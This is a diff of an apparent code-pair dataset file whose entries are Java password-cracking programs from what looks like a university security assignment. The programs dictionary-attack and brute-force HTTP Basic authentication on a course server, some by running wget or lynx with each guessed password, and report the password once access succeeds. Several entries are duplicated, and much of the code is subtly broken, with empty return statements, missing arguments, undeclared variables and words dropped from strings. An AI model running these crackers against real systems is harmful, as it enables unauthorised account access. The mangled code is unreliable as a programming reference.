+ - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
336
+ public class Dictionary\n{\n public static void main(String args[])\n {\n\
337
+ \ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
338
+ \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
339
+ \ String s = null;\n int num_tries = 0;\n \n try\n {\n\
340
+ \ \n BufferedReader dict_word = new BufferedReader\n \
341
+ \ (new FileReader (DICT_FILE));\n \n \n \
342
+ \ while((password = dict_word.readLine())!= null)\n { \n \
343
+ \ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
344
+ wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
345
+ \ \n BufferedReader stdInput = new BufferedReader(new \n \
346
+ \ InputStreamReader(p.getInputStream()));\n\n \
347
+ \ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
348
+ \n \n while ((s = stdInput.readLine()) != null)\n\
349
+ \ {\n System.out.println(s);\n }\n\
350
+ \ \n \n while ((s = stdError.readLine())\
351
+ \ != null)\n {\n System.out.println(s);\n \
352
+ \ }\n\n try\n\t {\n p.waitFor();\
353
+ \ \n }\n catch (InterruptedException g) \n \
354
+ \ {\n } \n\n num_tries++;\n \
355
+ \ \n if((p.exitValue()) == 0) \n { \n \
356
+ \ System.out.println(\"**********PASSWORD IS: \" + password);\n\
357
+ \t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
358
+ \ System.exit(1);\n }\n }\n \
359
+ \ catch (IOException e)\n {\n System.out.println(\"\
360
+ exception happened - here's what I know: \");\n e.printStackTrace();\n\
361
+ \ System.exit(-1);\n }\n }\n \n \
362
+ \ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
363
+ \ System.out.println(\"**********Sorry, password was not found in dictionary\
364
+ \ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
365
+ \ exception)\n {\n System.out.println(exception);\n }\n \
366
+ \ catch (IOException exception)\n {\n System.out.println(exception);\n\
367
+ \ }\n }\n}\n \n"
368
+ - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
369
+ \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
370
+ \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
371
+ \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
372
+ \ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
373
+ \ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
374
+ \ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
375
+ \ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
376
+ \ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
377
+ \ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
378
+ \ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
379
+ \ {\n String s1 = new StringBuffer().append( letters[i]).append(\
380
+ \ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
381
+ \ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
382
+ \ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
383
+ \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
384
+ \ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
385
+ \ \n for( i = 0; i < letters.length; i++)\n {\n String\
386
+ \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
387
+ \t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
388
+ \ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
389
+ \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
390
+ \t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
391
+ \ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
392
+ \ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
393
+ \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
394
+ \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
395
+ \t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
396
+ \ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
397
+ \ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
398
+ \ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
399
+ \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
400
+ \ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
401
+ \ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
402
+ \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
403
+ \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
404
+ \t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
405
+ \t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
406
+ \t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
407
+ \t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
408
+ \ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
409
+ \ }\n }\n \n public static void main( String[] args)\n {\n\
410
+ \ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
411
+ \ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
412
+ \ elements loaded\");\n }\n}\n \n"
413
+ - source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
414
+ public class BruteForce\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
415
+ ;\n private static String password;\n private static int length; \
416
+ \ \n private static int t_counter; \n private static int f_counter;\
417
+ \ \n \n private static int cases;\
418
+ \ \n \n private static int respCode;\
419
+ \ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\
420
+ \ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \
421
+ \ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \
422
+ \ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\
423
+ \ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\
424
+ Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\
425
+ \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\
426
+ \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\
427
+ \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\
428
+ \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
429
+ \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\
430
+ \ BufferedReader in = \n new BufferedReader (new InputStreamReader\
431
+ \ (content));\n String line;\n while ((line = in.readLine()) !=\
432
+ \ null) \n {\n pw.println(line);\n }\n } catch\
433
+ \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\
434
+ \ sw.toString();\n }\n \n class BruteForceAuthenticator extends\
435
+ \ Authenticator \n {\n private String username = \"\";\n\n protected\
436
+ \ PasswordAuthentication getPasswordAuthentication()\n {\n return\
437
+ \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\
438
+ \ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\
439
+ \ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\
440
+ \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \
441
+ \ k=0;\n \n \n \n if(t_counter == 0)\n {\n\
442
+ \ length = 1;\n cases = 0;\n f_counter = 0;\n\
443
+ \ }\n if(t_counter == 2*n)\n {\n length = 2;\n\
444
+ \ cases = 0;\n f_counter = 0;\n }\n if(t_counter\
445
+ \ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\
446
+ \ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\
447
+ \n \n \n if(length == 1)\n {\n if(f_counter\
448
+ \ == n)\n {\n cases++;\n f_counter = 0;\n\
449
+ \ }\n i = f_counter;\n\n } else if(length == 2)\
450
+ \ \n {\n if(f_counter == n*n)\n {\n \
451
+ \ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\
452
+ \ j = f_counter - i*n;\n\n } else if(length == 3) \n \
453
+ \ {\n if(f_counter == n*n*n)\n {\n cases++;\n\
454
+ \ f_counter = 0;\n }\n i = f_counter/(n*n);\n\
455
+ \ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\
456
+ \ }\n\n \n switch(cases)\n {\n case\
457
+ \ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\
458
+ \ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\
459
+ \ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
460
+ \ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\
461
+ \ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\
462
+ \ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
463
+ \ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\
464
+ \ = letters1.charAt(k);\n break;\n case 3:\n \
465
+ \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\
466
+ \ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\
467
+ \ case 4:\n c[0] = letters1.charAt(i);\n \
468
+ \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\
469
+ \ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
470
+ \ c[1] = Character.toUpperCase(letters1.charAt(j));\n \
471
+ \ c[2] = letters1.charAt(k);\n break;\n case 6:\n\
472
+ \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\
473
+ \ c[2] = Character.toUpperCase(letters1.charAt(k));\n \
474
+ \ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\
475
+ \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\
476
+ \ break;\n default:\n break;\n \
477
+ \ }\n\n f_counter++;\n t_counter++;\n\n password = new\
478
+ \ String(c);\n return c;\n }\n }\n}\n"
479
+ sentences:
480
+ - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
481
+ public class Dictionary\n{\n public static void main(String args[])\n {\n\
482
+ \ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\
483
+ \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\
484
+ \ String s = null;\n int num_tries = 0;\n \n try\n {\n\
485
+ \ \n BufferedReader dict_word = new BufferedReader\n \
486
+ \ (new FileReader (DICT_FILE));\n \n \n \
487
+ \ while((password = dict_word.readLine())!= null)\n { \n \
488
+ \ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\
489
+ wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \
490
+ \ \n BufferedReader stdInput = new BufferedReader(new \n \
491
+ \ InputStreamReader(p.getInputStream()));\n\n \
492
+ \ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
493
+ \n \n while ((s = stdInput.readLine()) != null)\n\
494
+ \ {\n System.out.println(s);\n }\n\
495
+ \ \n \n while ((s = stdError.readLine())\
496
+ \ != null)\n {\n System.out.println(s);\n \
497
+ \ }\n\n try\n\t {\n p.waitFor();\
498
+ \ \n }\n catch (InterruptedException g) \n \
499
+ \ {\n } \n\n num_tries++;\n \
500
+ \ \n if((p.exitValue()) == 0) \n { \n \
501
+ \ System.out.println(\"**********PASSWORD IS: \" + password);\n\
502
+ \t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
503
+ \ System.exit(1);\n }\n }\n \
504
+ \ catch (IOException e)\n {\n System.out.println(\"\
505
+ exception happened - here's what I know: \");\n e.printStackTrace();\n\
506
+ \ System.exit(-1);\n }\n }\n \n \
507
+ \ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \
508
+ \ System.out.println(\"**********Sorry, password was not found in dictionary\
509
+ \ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\
510
+ \ exception)\n {\n System.out.println(exception);\n }\n \
511
+ \ catch (IOException exception)\n {\n System.out.println(exception);\n\
512
+ \ }\n }\n}\n \n"
513
+ - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
514
+ \ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
515
+ \ String pass = new String();\n String UserPass = new String();\n String status\
516
+ \ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
517
+ \ URLConnection connect;\n int start,end,diff;\n try {\n URL\
518
+ \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
519
+ \ start =System.currentTimeMillis();\n\n BufferedReader dis =\
520
+ \ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
521
+ \ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
522
+ \",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
523
+ \ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
524
+ Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
525
+ Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
526
+ ,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
527
+ \ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
528
+ HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
529
+ \ is \" + pass);\n end=System.currentTimeMillis();\n \
530
+ \ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
531
+ \ + \" secs\");\n System.exit(0);\n }\n \
532
+ \ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
533
+ \ }\n\n System.out.println(\" match found\");\n\n \
534
+ \ dis.close();\n dis=null;\n\n connect = null;\n\n\
535
+ \ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
536
+ Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
537
+ Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
538
+ - "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
539
+ \ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
540
+ \ String pass = new String();\n String UserPass = new String();\n String status\
541
+ \ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
542
+ \ URLConnection connect;\n int start,end,diff;\n try {\n URL\
543
+ \ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
544
+ \ start =System.currentTimeMillis();\n\n BufferedReader dis =\
545
+ \ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
546
+ \ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
547
+ \",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
548
+ \ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
549
+ Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
550
+ Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
551
+ ,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
552
+ \ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
553
+ HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
554
+ \ is \" + pass);\n end=System.currentTimeMillis();\n \
555
+ \ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
556
+ \ + \" secs\");\n System.exit(0);\n }\n \
557
+ \ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
558
+ \ }\n\n System.out.println(\" match found\");\n\n \
559
+ \ dis.close();\n dis=null;\n\n connect = null;\n\n\
560
+ \ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
561
+ Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
562
+ Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
563
+ - source_sentence: "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\n\
564
+ import javax.swing.*;\n\npublic class PasswordCombination\n{\n private int\
565
+ \ pwdCounter = 0;\n private int startTime;\n private String str1,str2,str3;\n\
566
+ \ private String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n private\
567
+ \ String loginPwd;\n private String[] password;\n private HoldSharedData\
568
+ \ data;\n private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',\n\
569
+ \ 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\
570
+ \ 'a','b','c','d','e','f','g','h','i','j','k','l','m',\n\
571
+ \ 'n','o','p','q','r','s','t','u','v','w','x','y','z'};\n\
572
+ \n public PasswordCombination()\n {\n System.out.println(\"Programmed\
573
+ \ by for INTE1070 Assignment 2\");\n\n String input = JOptionPane.showInputDialog(\
574
+ \ \"Enter number of threads\" );\n if( input == null )\n System.exit(0);\n\
575
+ \n int numOfConnections = Integer.parseInt( input );\n startTime\
576
+ \ = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 +\
577
+ \ 52;\n password = new String[pwdCounter];\n\n doPwdCombination();\n\
578
+ \n System.out.println(\"Total Number of Passwords Generated: \" + pwdCounter);\n\
579
+ \ createConnectionThread( numOfConnections );\n }\n\n private void\
580
+ \ doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n\
581
+ \ str1 = \"\" + chars[i];\n password[pwdCounter++] = \"\"\
582
+ \ + chars[i];\n System.err.print( str1 + \" | \" );\n\n \
583
+ \ for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 +\
584
+ \ chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n \
585
+ \ for( int k = 0; k < 52; k ++ )\n {\n \
586
+ \ str3 = str2 + chars[k];\n password[pwdCounter++] =\
587
+ \ str2 + chars[k];\n }\n }\n }\n\n System.err.println(\
588
+ \ \"\\n\" );\n }\n\n private void loadPasswords( )\n {\n FileReader\
589
+ \ fRead;\n BufferedReader buf;\n String line = null;\n\
590
+ \ String fileName = \"words\";\n\n try\n {\n \
591
+ \ fRead = new FileReader( fileName );\n buf = new BufferedReader(fRead);\n\
592
+ \n while((line = buf.readLine( )) != null)\n {\n \
593
+ \ password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException\
594
+ \ e)\n {\n System.err.println(\"File not found: \" + fileName);\n\
595
+ \ }\n catch(IOException ioe)\n {\n System.err.println(\"\
596
+ IO Error \" + ioe);\n }\n }\n\n private void createConnectionThread(\
597
+ \ int input )\n {\n data = new HoldSharedData( startTime, password,\
598
+ \ pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads\
599
+ \ + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println(\"\
600
+ Number of Connection Threads Used:\" + numOfThreads);\n ConnectionThread[]\
601
+ \ connThread = new ConnectionThread[numOfThreads];\n\n for( int index =\
602
+ \ 0; index < numOfThreads; index ++ )\n {\n connThread[index]\
603
+ \ = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n\
604
+ \ }\n }\n} "
605
+ sentences:
606
+ - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
607
+ \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
608
+ \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
609
+ \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
610
+ \ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
611
+ \ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
612
+ \ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
613
+ \ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
614
+ \ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
615
+ \ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
616
+ \ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
617
+ \ {\n String s1 = new StringBuffer().append( letters[i]).append(\
618
+ \ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
619
+ \ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
620
+ \ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
621
+ \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
622
+ \ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
623
+ \ \n for( i = 0; i < letters.length; i++)\n {\n String\
624
+ \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
625
+ \t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
626
+ \ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
627
+ \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
628
+ \t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
629
+ \ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
630
+ \ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
631
+ \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
632
+ \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
633
+ \t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
634
+ \ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
635
+ \ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
636
+ \ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
637
+ \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
638
+ \ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
639
+ \ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
640
+ \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
641
+ \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
642
+ \t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
643
+ \t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
644
+ \t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
645
+ \t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
646
+ \ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
647
+ \ }\n }\n \n public static void main( String[] args)\n {\n\
648
+ \ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
649
+ \ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
650
+ \ elements loaded\");\n }\n}\n \n"
651
+ - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
652
+ \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
653
+ \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
654
+ \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
655
+ \ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
656
+ \ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
657
+ \ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
658
+ \ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
659
+ \ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
660
+ \ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
661
+ \ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
662
+ \ {\n String s1 = new StringBuffer().append( letters[i]).append(\
663
+ \ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
664
+ \ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
665
+ \ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
666
+ \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
667
+ \ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
668
+ \ \n for( i = 0; i < letters.length; i++)\n {\n String\
669
+ \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
670
+ \t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
671
+ \ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
672
+ \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
673
+ \t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
674
+ \ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
675
+ \ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
676
+ \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
677
+ \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
678
+ \t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
679
+ \ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
680
+ \ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
681
+ \ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
682
+ \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
683
+ \ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
684
+ \ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
685
+ \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
686
+ \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
687
+ \t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
688
+ \t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
689
+ \t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
690
+ \t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
691
+ \ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
692
+ \ }\n }\n \n public static void main( String[] args)\n {\n\
693
+ \ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
694
+ \ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
695
+ \ elements loaded\");\n }\n}\n \n"
696
+ - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n\
697
+ {\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public\
698
+ \ static void main(String[] args) throws IOException\n {\n BruteForce bf=new\
699
+ \ BruteForce();\n System.out.println(\" cracking...\");\n time1=new Date().getTime();\n\
700
+ \ bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"\
701
+ Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n System.out.println(\"\
702
+ costs \"+(time2-time1)+\" milliseconds\");\n System.exit(1);\n }\n\n void doBruteForce(int\
703
+ \ time1) throws IOException\n {\n passwd=new char[3];\n Runtime rt=Runtime.getRuntime();\n\
704
+ \ num=0;\n for(int i=(int)'z';i>=(int)'A';i--)\n {\n if(i==96)\n i=90;\n\
705
+ \ passwd[0]=(char)i;\n for(int j=(int)'z';j>=(int)'A';j--)\n {\n \
706
+ \ if(j==96)\n j=90;\n passwd[1]=(char)j;\n for(int k=(int)'z';k>=(int)'A';k--)\n\
707
+ \ {\n if(k==96)\n k=90;\n passwd[2]=(char)k;\n String\
708
+ \ password=new String(passwd);\n\t\t\ttry\n {\n\t\t\t\tnum++;\n\n\t\t\t\t\
709
+ \n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
710
+ );\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\
711
